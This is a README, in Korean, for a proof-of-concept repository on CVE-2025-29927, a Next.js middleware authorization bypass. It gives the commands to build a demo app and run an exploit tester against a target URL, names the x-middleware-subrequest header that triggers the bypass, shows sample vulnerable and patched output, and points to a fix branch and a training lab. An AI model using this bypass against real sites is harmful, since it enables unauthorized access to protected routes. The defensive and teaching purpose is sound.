
이 저장소에는 미들웨어에 구현된 인가 검사를 공격자가 우회할 수 있게 하는 Next.js의 치명적인 취약점인 CVE-2025-29927에 대한 개념 증명(POC) 및 익스플로잇 스크립트가 포함되어 있습니다.
이 저장소는 Next.js의 심각한 취약점인 CVE-2025-29927에 대한 **개념 증명(POC)**을 포함합니다. 이 취약점은 공격자가 미들웨어에 구현된 권한 부여 검사를 우회할 수 있게 합니다.
이 Next.js 애플리케이션은 보호된 대시보드 경로를 통해 취약점을 시연합니다.
npm install
npm run build
npm run start
이 익스플로잇 스크립트는 모든 Next.js 애플리케이션에서 이 취약점을 테스트할 수 있습니다.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
이 익스플로잇 도구는:
x-middleware-subrequest 헤더를 사용하여 미들웨어 우회를 시도합니다.=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
수정 구현은 how-to-fix 브랜치에서 확인할 수 있습니다.
Next.js 버전 업데이트 (권장)
2차 검증 구현
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js는 재귀 요청을 방지하기 위해 내부 헤더 x-middleware-subrequest를 사용합니다. 이 취약점으로 인해 공격자는 이 헤더를 조작하여 미들웨어 보안 검사를 우회할 수 있습니다.
더 나아가고 싶으신가요? 이 CVE는 공격적 보안 훈련을 위해 의도적으로 취약하게 설계된 실습 환경인 OSS OopsSec Store에 플래그로 구현되어 있습니다.
👉 여기에서 챌린지 도전하기 → kOaDT/oss-oopssec-store
이 도구는 교육 및 테스트 목적으로만 제공됩니다. 이 도구는 소유한 시스템 또는 테스트에 대한 명시적 권한이 있는 시스템에서만 사용하십시오.